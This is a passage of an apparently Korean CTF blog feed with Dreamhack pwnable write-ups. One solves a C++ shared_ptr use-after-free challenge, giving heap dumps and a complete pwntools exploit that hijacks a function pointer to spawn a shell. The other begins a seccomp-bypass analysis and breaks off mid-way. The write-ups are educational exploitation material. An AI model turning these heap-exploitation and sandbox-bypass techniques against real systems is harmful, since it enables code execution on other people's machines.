</span></span><span class="line"><span class="cl">                <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">selector</span> <span class="o">==</span> <span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="n">change_pointer</span><span class="p">(</span><span class="n">new_ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Select pointer(1, 2): &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">selector</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="n">src_ptr</span><span class="p">.</span><span class="n">reset</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">selector</span> <span class="o">==</span> <span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="n">new_ptr</span><span class="p">.</span><span class="n">reset</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Select pointer(1, 2): &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">selector</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="p">(</span><span class="o">*</span><span class="n">src_ptr</span><span class="p">).</span><span class="n">fp</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">selector</span> <span class="o">==</span> <span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="p">(</span><span class="o">*</span><span class="n">new_ptr</span><span class="p">).</span><span class="n">fp</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">4</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">write_guestbook</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">5</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">view_guestbook</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">6</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>main함수에서 좀 중요하게 볼 부분이 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">    Smart *smart = new Smart();
</span></span><span class="line"><span class="cl">    std::shared_ptr&lt;Smart&gt; src_ptr(smart);
</span></span><span class="line"><span class="cl">    std::shared_ptr&lt;Smart&gt; new_ptr(smart);
</span></span></code></pre></div><p>위 코드 부분인데, Smart 클래스를 smart에 할당한 다음 std::shared_ptr&lt;Smart&gt;를 이용해 src_ptr와 new_ptr에 복사한다. 이때 객체를 새롭게 할당 한 것이 아니라, shallow copy가 일어난다.</p>
<p>각 옵션별 기능을 살펴보자.</p>
<p>1번으로 Smart 클래스의 fp의 값을 각 과일별로 바꿀 수 있다. 2번을 통해 .reset()을 통해 해당 객체를 해제한다. 3번을 통해 src_ptr과 new_ptr중 하나를 설정하고 해당 객체의 fp가 가지고 있는 포인터 주소를 실행한다. 4번을 통해서 guest_book 전역 변수에 값을 쓴다. 5번 항목을 통해서 guest_book의 내용을 볼 수 있다.</p>
<p>우선 코드에서 익스플로잇을 트리거 할 수 있는 부분은 case 3번의 fp포인터를 실행하는 부분인 것 같다. 그러면 fp의 값을 바꿀 방법을 생각해야 한다.</p>
<p>main함수 초반 부분에서 src_ptr과 new_ptr에 객체를 생성할 때 shallow copy가 발생했다. 그리고 case 2를 통해서 각각의 ptr을 해제할 수 있다. 그럼 UAF와 Double Free 버그를 생각해 볼 수 있다.</p>
<p>우선 Double Free를 이용해 fp를 조작하려고 했지만 heap 영역 메모리 주소 릭이 안되는 상황이라 성공하지 못했다. 따라서 UAF를 통해 문제를 풀 수 있었다.</p>
<p>시나리오를 짜보자.</p>
<p>src_ptr, new_ptr 둘중 아무거나 상관없다. 나는 new_ptr을 해제할 것이다. 그러면 Smart smart 클래스의 객체가 free되게 되는데 free된 상태의 메모리 주소를 shallow copy로 인해 src_ptr이 가리키고 있게 된다.</p>
<p>이후 write_guestbook에서 memory allocating이 가능하기 때문에 fastbin 규칙으로 해제되었던 부분에 메모리 할당이 가능하다. 이를 통해서 fp부분을 get_shell() 함수 주소로 덮으면 공격에 성공한다.</p>
<p>우선 new_ptr을 해제하고 bin을 살펴보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pwndbg&gt; bin
</span></span><span class="line"><span class="cl">fastbins
</span></span><span class="line"><span class="cl">0x20: 0xc2bc50 —▸ 0xc2bc10 ◂— 0x0
</span></span><span class="line"><span class="cl">0x30: 0x0
</span></span><span class="line"><span class="cl">0x40: 0x0
</span></span><span class="line"><span class="cl">0x50: 0x0
</span></span><span class="line"><span class="cl">0x60: 0x0
</span></span><span class="line"><span class="cl">0x70: 0x0
</span></span><span class="line"><span class="cl">0x80: 0x0
</span></span><span class="line"><span class="cl">unsortedbin
</span></span><span class="line"><span class="cl">all: 0x0
</span></span><span class="line"><span class="cl">smallbins
</span></span><span class="line"><span class="cl">empty
</span></span><span class="line"><span class="cl">largebins
</span></span><span class="line"><span class="cl">empty
</span></span></code></pre></div><p>0xc2bc10는 원래 Smart의 fp가 들어있던 부분이였다. new_ptr이 해제되면서 같이 free가 되고 fastbin에 예약되어 있다. src_ptr과 new_ptr의 fp는 같은 곳을 가리키기 때문에 이 시점의 src_ptr은 해제된 위치인 0xc2bc10를 가리키고 있다.</p>
<p>이제 두번의 write_guestbook를 진행하고 메모리 주소를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pwndbg&gt; x/32gx 0xc2bc10
</span></span><span class="line"><span class="cl">0xc2bc10:       0x0000000000000000      0x0000000000000021
</span></span><span class="line"><span class="cl">0xc2bc20:       0x000000000040161d      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bc30:       0x0000000000000000      0x0000000000000021
</span></span><span class="line"><span class="cl">0xc2bc40:       0x0000000000402300      0x0000000100000001
</span></span><span class="line"><span class="cl">0xc2bc50:       0x0000000000c2bc20      0x0000000000000021
</span></span><span class="line"><span class="cl">0xc2bc60:       0x000000000040161d      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bc70:       0x0000000000c2bc20      0x0000000000020391
</span></span><span class="line"><span class="cl">0xc2bc80:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bc90:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bca0:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bcb0:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bcc0:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bcd0:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bce0:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bcf0:       0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0xc2bd00:       0x0000000000000000      0x0000000000000000
</span></span></code></pre></div><p>0xc2bc10의 데이터 영역을 보면 get_shell() 함수의 주소인 0x000000000040161d가 정상적으로 들어갔다. 이후 case 3에서 fp를 호출하면 0xc2bc10의 데이터 영역인 0xc2bc20의 포인터 값인 0x40161d가 실행되어 쉘을 획득 할 수 있다.</p>
<p>아래는 최종적으로 나온 익스플로잇 코드다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 21727);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_vtable_check&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./cpp_smart_pointer_1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./cpp_smart_pointer_1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="mh">0x40161d</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Select pointer(1, 2): &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;write guestbook : &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">get_shell</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;write guestbook : &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">get_shell</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Select pointer(1, 2): &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN seccomp</title><link>https://dig06161.github.io/2023/03/24/dreamhack-pwn-seccomp/</link><pubDate>Fri, 24 Mar 2023 18:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/24/dreamhack-pwn-seccomp/</guid><description>드림핵 포너블 seccomp 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 리눅스 샌드박스 기능인 seccomp 문제다. seccomp는 리눅스 커널에서 특정 system call를 필터링 하는 기능이다. 특정 함수를 사용하지 못하게 막거나 특정 함수만 사용할 수 있도록 제한하는 기능을 제공한다.</p>
<p>간단하게 설명하겠다. seccomp는 두가지 모드가 있다. STRICT_MODE 와 FILTER_MODE가 있는데 STRICT_MODE는 read, write, exit, sigreturn system call만 허용한다. FILTER_MODE는 개발자가 특정 함수에 대한 필터를 구성해 allow list 또는 deny list방식으로 운용이 가능하다.</p>
<p>일단 문제의 소스코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">// gcc -o seccomp seccomp.cq
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stddef.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/prctl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/seccomp.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/filter.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/audit.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">SECCOMP_MODE_STRICT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">syscall_filter</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#define syscall_nr (offsetof(struct seccomp_data, nr))
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="cp">#define arch_nr (offsetof(struct seccomp_data, arch))
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    
</span></span><span class="line"><span class="cl">    <span class="cm">/* architecture x86_64 */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#define REG_SYSCALL REG_RAX
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="cp">#define ARCH_NR AUDIT_ARCH_X86_64
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="k">struct</span> <span class="nc">sock_filter</span> <span class="n">filter</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* Validate architecture. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">BPF_STMT</span><span class="p">(</span><span class="n">BPF_LD</span><span class="o">+</span><span class="n">BPF_W</span><span class="o">+</span><span class="n">BPF_ABS</span><span class="p">,</span> <span class="n">arch_nr</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">BPF_JUMP</span><span class="p">(</span><span class="n">BPF_JMP</span><span class="o">+</span><span class="n">BPF_JEQ</span><span class="o">+</span><span class="n">BPF_K</span><span class="p">,</span> <span class="n">ARCH_NR</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">BPF_STMT</span><span class="p">(</span><span class="n">BPF_RET</span><span class="o">+</span><span class="n">BPF_K</span><span class="p">,</span> <span class="n">SECCOMP_RET_KILL</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* Get system call number. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">BPF_STMT</span><span class="p">(</span><span class="n">BPF_LD</span><span class="o">+</span><span class="n">BPF_W</span><span class="o">+</span><span class="n">BPF_ABS</span><span class="p">,</span> <span class="n">syscall_nr</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="nc">sock_fprog</span> <span class="n">prog</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">short</span><span class="p">)(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">filter</span><span class="p">)</span><span class="o">/</span><span class="k">sizeof</span><span class="p">(</span><span class="n">filter</span><span class="p">[</span><span class="mi">0</span><span class="p">])),</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">filter</span> <span class="o">=</span> <span class="n">filter</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">prctl</span><span class="p">(</span><span class="n">PR_SET_NO_NEW_PRIVS</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">perror</span><span class="p">(</span><span class="s">&#34;prctl(PR_SET_NO_NEW_PRIVS)</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">prctl</span><span class="p">(</span><span class="n">PR_SET_SECCOMP</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">prog</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">perror</span><span class="p">(</span><span class="s">&#34;Seccomp filter error</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">sc</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">shellcode</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">long</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">long</span> <span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">shellcode</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span> <span class="o">|</span> <span class="n">PROT_EXEC</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span> <span class="o">|</span> <span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;1. Read shellcode</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;2. Execute shellcode</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;3. Write address</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">switch</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">cnt</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">syscall_filter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="n">printf</span><span class="p">(</span><span class="s">&#34;shellcode: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="mi">1024</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">cnt</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">sc</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">shellcode</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">sc</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">printf</span><span class="p">(</span><span class="s">&#34;addr: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">printf</span><span class="p">(</span><span class="s">&#34;value: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>처음 문제를 보고 FILTER_MODE가 적용된줄 알았다. 그러나 맨 위에 mode 변수를 보면 STRICT_MODE가 설정되어 있다. 함수 필터에 아무런 필터를 구성하지 않고 해당 필터를 STRICT_MODE로 적용한 것이다. 이렇게 되면 read, write, exit, sigreturn system call만 사용할 수 있다.</p>
<p>이 모드를 못보고 계속 AND 연산 하면서 뻘짓을 했었다.</p>
<p>main함수를 살펴보면 case 1번에서 필터 설정을 진행하고 쉘코드를 입력 받는다. case 2를 통해 입력받은 쉘 코드를 실행하고 case 3을 이용하면 원하는 주소의 값을 바꿀 수 있다.</p>
<p>익스플로잇을 구상해보면 case 1번이 실행되기 전에 case 3을 통해서 mode 변수의 내용을 FILTER_MODE로 바꾸면 쉽게 쉘코드를 실행 할 수 있을 것 같다.</p>
<p>gdb를 통해 해당 주소의 내용을 확인해 보면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pwndbg&gt; x/x &amp;mode
</span></span><span class="line"><span class="cl">0x602090 &lt;mode&gt;:        0x00000001
